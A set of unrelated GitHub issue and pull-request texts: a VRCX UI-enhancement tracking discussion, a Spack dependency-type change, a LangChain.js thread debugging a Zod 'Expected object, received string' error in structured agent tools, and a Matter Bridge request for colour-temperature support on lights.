Note: I have a prototype of an artifact installator in the works.


[UI] Enhancement

This is a tracking issue for UI improvements. I've been working on some UI enhancements recently, I think it's a good idea to create an issue to track these changes.
This includes basic alignment issues, layout organization, and some UX adjustments afterwards.

Alignment issues
Layout organization
UX adjustments

Currently, modifications are made according to the default theme. Later, additional changes will be made to other themes based on the existing style.
If possible, I would appreciate some suggestions so I can have a clear direction for improvement, Thanks.
Related PRs:

#1034

Kamiyas Material 3 theme supports https://www.npmjs.com/package/@material/material-color-utilities but I never got around to adding it.
They also made another theme that was never added https://github.com/kamiya10/VRCX-theme/tree/main/bg
Maintenance cost of large amounts of themes can add up.
Our UI library element-ui everything is based off of is deprecated.
Upgrading would require switching to Vue3 or another JS framework, essentially requiring a full rewrite making it not a viable option.
These fixes and improvements are most welcome.

First of all, the current program's functionality is excellent. However, there are many aspects of the UI that could be improved.
Under the default theme, there are already several issues as described in the posts above. My plan is to start with alignment and arrangement: ensuring that most elements are properly aligned and displayed in a more intuitive way.
Next step would be unifying UI components: currently, many similar interactions are not using the same type of component, which likely needs to be corrected.
Lastly, for better UX - this is a long-term consideration and won't be addressed immediately.
Currently, non-default themes have numerous display issues, far more than those in the default theme. These aren't just basic alignment problems - they appear unattractive and are even difficult to use. Furthermore, when modifying the default theme code and changing the existing DOM structure, adapting other themes requires a considerable amount of work. Based on this, I suggest giving lower priority to adapting other themes. To avoid excessive workload, we might even consider temporarily deprecating some themes or pausing their updates.


access-esm1p5: pass type to depends_on()

Passing type="run" to help with module autoloading as per: https://spack.readthedocs.io/en/v0.22.0/module_file_support.html#autoloading-and-hiding-dependencies

Hopefully, this will enable fixing: https://github.com/ACCESS-NRI/ACCESS-ESM1.5/issues/8


DynamicStructuredTool: Zod Error, Expected object, received string

Trying out Dynamic Structured Tools for the first time and running into this error. Using the exact DynamicStructuredTool provided here:
https://js.langchain.com/docs/modules/agents/agents/action/structured_chat
Any advice?

Hey, could you share the error you are getting here?

Loaded agent.
Your message: what is a random number between 5 and 10?
Executing with input "what is a random number between 5 and 10?"...
[chain/start] [1:chain:agent_executor] Entering Chain run with input: {
  "input": "what is a random number between 5 and 10?",
  "chat_history": []
}
[chain/start] [1:chain:agent_executor > 2:chain:llm_chain] Entering Chain run with input: {
  "input": "what is a random number between 5 and 10?",
  "chat_history": [],
  "agent_scratchpad": [],
  "stop": [
    "Observation:"
  ]
}
[llm/start] [1:chain:agent_executor > 2:chain:llm_chain > 3:llm:openai] Entering LLM run with input: {
  "prompts": [
    "[{\"type\":\"system\",\"data\":{\"content\":\"Assistant is a large language model trained by OpenAI.\\n\\nAssistant is designed to be able to assist with a wide range of tasks, from answering simple questions to providing in-depth explanations and discussions on a wide range of topics. As a language model, Assistant is able to generate human-like text based on the input it receives, allowing it to engage in natural-sounding conversations and provide responses that are coherent and relevant to the topic at hand.\\n\\nAssistant is constantly learning and improving, and its capabilities are constantly evolving. It is able to process and understand large amounts of text, and can use this knowledge to provide accurate and informative responses to a wide range of questions. Additionally, Assistant is able to generate its own text based on the input it receives, allowing it to engage in discussions and provide explanations and descriptions on a wide range of topics.\\n\\nOverall, Assistant is a powerful system that can help with a wide range of tasks and provide valuable insights and information on a wide range of topics. Whether you need help with a specific question or just want to have a conversation about a particular topic, Assistant is here to assist. However, above all else, all responses must adhere to the format of RESPONSE FORMAT INSTRUCTIONS.\"}},{\"type\":\"human\",\"data\":{\"content\":\"TOOLS\\n------\\nAssistant can ask the user to use tools to look up information that may be helpful in answering the users original question. The tools the human can use are:\\n\\nrandom-number-generator: generates a random number between two input numbers\\n\\nRESPONSE FORMAT INSTRUCTIONS\\n----------------------------\\n\\nOutput a JSON markdown code snippet containing a valid JSON object in one of two formats:\\n\\n**Option 1:**\\nUse this if you want the human to use a tool.\\nMarkdown code snippet formatted in the following schema:\\n\\n```json\\n{\\n    \\\"action\\\": string, // The action to take. Must be one of [random-number-generator]\\n    \\\"action_input\\\": string // The input to the action. May be a stringified object.\\n}\\n```\\n\\n**Option #2:**\\nUse this if you want to respond directly and conversationally to the human. Markdown code snippet formatted in the following schema:\\n\\n```json\\n{\\n    \\\"action\\\": \\\"Final Answer\\\",\\n    \\\"action_input\\\": string // You should put what you want to return to use here and make sure to use valid json newline characters.\\n}\\n```\\n\\nFor both options, remember to always include the surrounding markdown code snippet delimiters (begin with \\\"```json\\\" and end with \\\"```\\\")!\\n\\n\\nUSER'S INPUT\\n--------------------\\nHere is the user's input (remember to respond with a markdown code snippet of a json blob with a single action, and NOTHING else):\\n\\nwhat is a random number between 5 and 10?\"}}]"
  ]
}
[llm/end] [1:chain:agent_executor > 2:chain:llm_chain > 3:llm:openai] [5.50s] Exiting LLM run with output: {
  "generations": [
    [
      {
        "text": "```json\n{\n    \"action\": \"random-number-generator\",\n    \"action_input\": \"{\\\"min\\\": 5, \\\"max\\\": 10}\"\n}\n```"
      }
    ]
  ]
}
[chain/end] [1:chain:agent_executor > 2:chain:llm_chain] [5.50s] Exiting Chain run with output: {
  "text": "```json\n{\n    \"action\": \"random-number-generator\",\n    \"action_input\": \"{\\\"min\\\": 5, \\\"max\\\": 10}\"\n}\n```"
}
[agent/action] [1:chain:agent_executor] Agent selected action: {
  "tool": "random-number-generator",
  "toolInput": "{\"min\": 5, \"max\": 10}",
  "log": "```json\n{\n    \"action\": \"random-number-generator\",\n    \"action_input\": \"{\\\"min\\\": 5, \\\"max\\\": 10}\"\n}\n```"
}
[chain/error] [1:chain:agent_executor] [5.50s] Chain run errored with error: "[\n  {\n    \"code\": \"invalid_type\",\n    \"expected\": \"object\",\n    \"received\": \"string\",\n    \"path\": [],\n    \"message\": \"Expected object, received string\"\n  }\n]"
/.../node_modules/zod/lib/types.js:43
                const error = new ZodError_1.ZodError(ctx.common.issues);
                              ^

ZodError: [
  {
    "code": "invalid_type",
    "expected": "object",
    "received": "string",
    "path": [],
    "message": "Expected object, received string"
  }
]
    at get error [as error] (/.../node_modules/zod/lib/types.js:43:31)
    at ZodObject.parseAsync (/.../node_modules/zod/lib/types.js:164:22)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async DynamicStructuredTool.call (/.../node_modules/langchain/dist/tools/base.cjs:21:24)
    at async /.../node_modules/langchain/dist/agents/executor.cjs:101:23
    at async Promise.all (index 0)
    at async AgentExecutor._call (/.../node_modules/langchain/dist/agents/executor.cjs:97:30)
    at async AgentExecutor.call (/.../node_modules/langchain/dist/chains/base.cjs:68:28)
    at async run (/.../index.js:44:20) {
  issues: [
    {
      code: 'invalid_type',
      expected: 'object',
      received: 'string',
      path: [],
      message: 'Expected object, received string'
    }
  ],
  addIssue: [Function (anonymous)],
  addIssues: [Function (anonymous)],
  errors: [
    {
      code: 'invalid_type',
      expected: 'object',
      received: 'string',
      path: [],
      message: 'Expected object, received string'
    }
  ]
}

Node.js v18.12.1

I'm using gpt-4

I am also experiencing the same error when I use the StructuredOutputParser to generate from a zod schema. Feeding this back to the parser, i get the error.
const channelParser = StructuredOutputParser.fromZodSchema(z.record(z.string(), ChannelSchema));

This also happens when I feed the value into the OutputFixingParser, after the model generates a new 'valid' schema, passing it into the parser errors too.
async function fixOutputParser(parser, badInput) {
    try {
        await parser.parse(badInput);
    } catch (e) {
        //console.log("Failed to parse bad output: ", e);
        const fixParser = OutputFixingParser.fromLLM(
            model,
            parser
          );
      const output = await fixParser.parse(badInput);
      console.log("Fixed output: ", output);
    }
}

console.log(channelParser)
await fixOutputParser(channelParser, generatedChannelsWithZod);

Note that generatedChannelsWithZod is what is generated by the model previously with a prompt template using channelParser.getFormatInstructions().
I am also using gpt-4.

After looking into this a bit more, I could avoid my error if I wrap generatedChannelsWithZod with JSON.parse.
await fixOutputParser(channelParser, JSON.parse(generatedChannelsWithZod));

Just an update here, I ended up upgrading my langchain version from 0.0.92 to 0.0.96 and also changed my agent type from chat-conversational-react-description to openai-functions and everything is working as expected. Still not sure exactly what's happening here but regardless, even the inputs that it was generating for the supplied tool were wrong even if the parsing was working as expected.

@asontha  Im also frequently experiencing  "expected object, received string" when using StructuredChatAgent and Structured Tools.
The LLM (gpt4) seems to sometimes ignore the schema of a tool and just pass a string as the action_input
This makes me want to try openai-functions instead, but I am receiving 404s when using OpenAIAgent instead of StructuredChatAgent

This headache makes me lose confidence that I can actually build an advanced assistant within my application (e.g looks up data, tells user about whats going wrong with something in our app, and asks them if theyd like to take an action that it will use another tool to process on our backend) 😢

Confirmed that switching to openai-functions has made tool calls a lot more reliable than any implementation Ive tried so far!
Now to figure out how to build a cohesive chat experience that uses many different self-help agents for various data domains of our application 😅

I had this problem too and I found in a hacky workaround meanwhile waiting for resolution: specify in the tool's description how the input should be, like :
description: 'Useful to answer questions about specific books/pages. Input should be an Object with question, bookTitle and pageNumber'


[Feature]: allow color temperature for lights not supporting color

Domain
Light
What is actually missing?
Lights that only support temperature (not RGB) do not show any temperature control on Alexa. Matter Bridge exposes OnOff, levels clusters. If I add the same light through Nabu Casa integration Temperature is shown in Alexa.
requested via HA community

Experienced the same issue today. It would be great if you could take care of it.

This should be fixed with version 2.0.3.